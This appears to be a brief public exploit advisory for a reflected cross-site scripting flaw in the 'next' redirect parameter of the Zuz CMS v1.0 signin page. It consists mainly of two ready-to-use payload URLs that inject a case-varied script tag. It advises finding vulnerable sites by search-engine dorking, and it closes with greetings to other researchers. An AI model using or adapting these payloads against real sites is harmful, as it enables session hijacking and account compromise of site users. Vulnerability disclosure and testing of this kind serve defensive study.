====================================================================================================================================
| # Title     : Zuz CMS v1.0 XSS Vulnerability                                                                                     |
| # Author    : indoushka                                                                                                          |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0.1(32-bit)                                             | 
| # Vendor    : https://zuz.host/                                                                                                  |  
====================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Use payload : /account/signin?next=https://zuz.host/hire/new-project'%22()%26%25<acx><ScRiPt%20>prompt(/indoushka/)</ScRiPt>

[+] https://localhost/account/signin?next=https://zuz.host/hire/new-project%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/indoushka%20from%20algeria/)%3C/ScRiPt%3E

Greetings to :=================================================================
jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |
===============================================================================